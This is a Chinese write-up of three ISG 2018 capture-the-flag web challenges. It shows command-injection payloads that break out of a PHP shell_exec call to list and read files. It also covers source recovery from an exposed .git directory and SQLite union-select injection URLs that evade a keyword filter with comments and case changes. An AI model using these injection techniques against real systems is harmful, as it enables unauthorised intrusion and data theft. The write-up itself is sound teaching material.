作者:agetflag

原文来自:ISG 2018 Web Writeup

ISG 2018 Web Writeup

CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难

calc

首先看到题目后,在输入框中测试了一下,发现可以被执行

首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录

python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60

发现存在git源码泄露

直接上githack看看能够拖下来什么东西

python2 GitHack.py -u "http://202.120.7.205:60003/.git/"

index.php下载了下载

开启代码审计模式

第22~27行对GET方法是否被使用做了一次判断

<?php
$str="";
if(!empty($_GET)){
    $str=$_GET["calc"];
}
?>

第40~42行对变量$str是否为空做了一次判断

<?php
if($str !== ""){
}
?>

接下来到第44~46行这里,看到使用了shell_exec函数,基本可以判断为命令注入了

<?php
    echo $str." = ".shell_exec("echo \"$str\" | bc");
?>

接下来开始绕过

测试的话可以把shell_exec里面的内容粘贴到linux 的bash中进行测试

echo \"$str\" | bc

可以看到\"转义字符输出"

echo "$str" | bc

$str函数是我们可以控制的值

开始绕过之旅

|在命令执行漏洞中经常用到,表示管道,上一条命令的输出,作为下一条命令参数

所以,会把echo 后的内容传值到bc命令,但是经过测试发现bc命令是不存在的,所以用linux 中的注释符#

注释掉它,基本构造如下

echo "$str#" | bc

这样来说,可以注释掉后面的bc命令了,但是因为有"的阻碍,使我们没法达到目的,所以闭合掉双引号,再加上管道符

构造如下

echo ""|$str#" | bc

$str替换为ls命令,本地验证通过

构造payload,列一下题目的当前目录

"| ls #

发现flag文件there_1s_4_fl4g

构造payload读取

"| cat there_1s_4_fl4g #

secret

题目打开之后有弹窗

随便输入后,提示密码错误,右击查看源代码

发现第6~16行中包含了密码和要输出的内容

<script type="text/javascript">
    a = prompt("Password");
    if(a=="H4CK3D")
    {
        alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+"'");
    }
    else
    {
        alert("Wrong Password!");
    }
</script>

其中prompt方法用于显示可提示用户进行输入的对话框

atob函数是javascript中用于解密base64编码的方法,直接解密字符串

>>> import base64
>>> base64.b64decode("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")
b'You are Trapped :) This is not the flag. Check around.'

发现并没有flag

提示让我们去周围找一找

访问index.html页面,发现进行了302跳转到了trap.html页面

我们直接查看index.html页面的源码


发现其6~8行进行了一次302跳转

直接看下面的代码

在45~55行中发现类似的前一个页面的代码

<script type="text/javascript">
    a = prompt("Password");
    if(a=="H4CK3D")
    {
        alert("Flag is "+atob("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9"));
    }
    else
    {
        alert("Wrong Password!");
    }
</script>

直接解密得到flag

>>> import base64
>>> base64.b64decode("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9")
b'flag:ISG{H3IIO_1sG_js_Tr4p}'

news

这个题考察了sqlite的注入,进行了简单的危险函数判断

这里刚开始普及一些sqllite知识

sqllite基础

sqllite数据库注入和mysql数据库注入很像,不同点在于,sqllite数据库没有information_schema数据库,而是采用sqlite_master表,来存储当前数据库中所有表的相关信息,比如表的名称、用于创建此表的sql语句、索引、索引所属的表、创建索引的sql语句等。它的字段有

type,name,tbl_name,rootpage,sql

type为类型

1.查询表信息

如果要查询表的信息,则type字段为“table”,name字段为表的名称,返回结果中返回的sql字段,为创建此表的sql语句。

select * from sqlite_master where type=’table’ and name=‘表名’; 

2.查询索引信息

如果要查询索引信息,则type字段为“index”,name字段为索引名称,返回结果中的tbl_name字段为该索引所属的表,sql字段为创建此索引的sql语句。

select * from sqlite_master where type=’index’ and name=‘索引名’;

sql为创建数据表的语句,这个对我们非常有用

name 对于表来说,是当前表的名字,对于索引来说是当前索引的名称

tbl_name是该索引所属的表的名字

rootpage 根据字面意思理解,应该是这个对象在数据库文件中的第一个页面位置。类似链表的一个指针

手工注入

首先去看它的codesafe函数这里判断了什么内容

在代码的第47~51行

def codesafe(n):
    if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
        return False
    else:
        return True

可以看到,当其中有select、空格、where='时,返回False

会触发第73~74行这里进行截断返回

if not codesafe(id):
            return 'Hacker?'

了解请了这些后,开始注入

首先,判断空格可以通过/**/,来进行绕过,判断select可以采用大小写来绕过

where=可以不用

这里采用了伪静态的模式,后面拼接.html可能是web.py框架里面内置判断,不拼接.html会显示404页面

开始注入

判断字段数为2

http://202.120.7.206:60019/news-1/**/order/**/by/**/2.html

判断显示位

http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html

查看建表的sql语句,可以直接获取字段和表名

http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html

直接查看flag

http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html

大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

ISG 2018 Web Writeup的更多相关文章

  1. 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup

    攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...

  2. 2018 Web 开发者路线图[转载]

    2018 Web 开发者路线图[转载] https://qianduan.group/posts/5a66f36e0cf6b624d2239c74?hmsr=toutiao.io&utm_me ...

  3. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  4. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  5. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  6. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  7. 强网杯2018 Web签到

    Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...

  8. [MRCTF]Web WriteUp

    和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得 ...

  9. [易霖博YCTF]Web WriteUp

    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...

随机推荐

  1. IIS发布MVC ASP.NET网站

    发布网站后,发现无法访问,最后在配置文件上添加一段: <system.codedom> <compilers> <compiler language="c#;c ...

  2. 分析abex-crackme#1

    1.分析环境2.运行程序,了解大致的运行过程3.运行Ollydbg调试程序3.1.分析结果简述4.破解4.1.方法一4.2.方法二5.运行结果6.与书中不同之处 1.分析环境 操作系统:Win10 1 ...

  3. linux回顾

    linux内容回顾: centos6.9  ubuntu12  麒麟linux  suse(德国linux)  depin xshell(连接工具) vmware workstation(个人学习) ...

  4. Tornado创建一个web服务

    import tornado.web import tornado.ioloop import tornado.httpserver import tornado.options import con ...

  5. hibernate入门一

    ---恢复内容开始--- hibernate简介: 1.优秀的持久化(通俗讲把内存上的短时间运行信息存储在持久化硬盘上)框架. 2.作用于持久层,因为没什么侵入性,所以同样适用于其他层面上的存储 3. ...

  6. Dual Attention Network for Scene Segmentation

    Dual Attention Network for Scene Segmentation 原始文档 https://www.yuque.com/lart/papers/onk4sn 在本文中,我们通 ...

  7. 00.pt-toolkit 目录

    一. 好用便利的工具,常用 pt-align 对齐文本格式pt-archiver 循序渐进的归档表,删除表,迁移数据pt-config-diff 对比不同配置文件.服务器配置参数pt-diskstat ...

  8. HTML页面使用layer弹出框输入数据

    javascript中layer是一款近年来备受青睐的web弹层组件,layer.open对弹出框进行输入信息,并处理返回结果.详细介绍http://layer.layui.com/ 部署:将laye ...

  9. 安卓adb工具的安装方法

    adb是Android的一个很重要的调试工具,熟练掌握后可实现很多功能,比如有些手机的解锁.ROOT就会用到adb工具.可很多朋友都说不会安装,今天就从最开始的安装方法说起. adb工具其实不用安装, ...

  10. 检测2个url的不同之处(爬虫分析接口)

    就是简单的检测2个url的不同之处,在做爬虫时,要分析接口地址的不同之处,靠自己的眼睛有点累,所以写了一个小程序,不喜勿喷 #测试数据 a = "https://list.tmall.com ...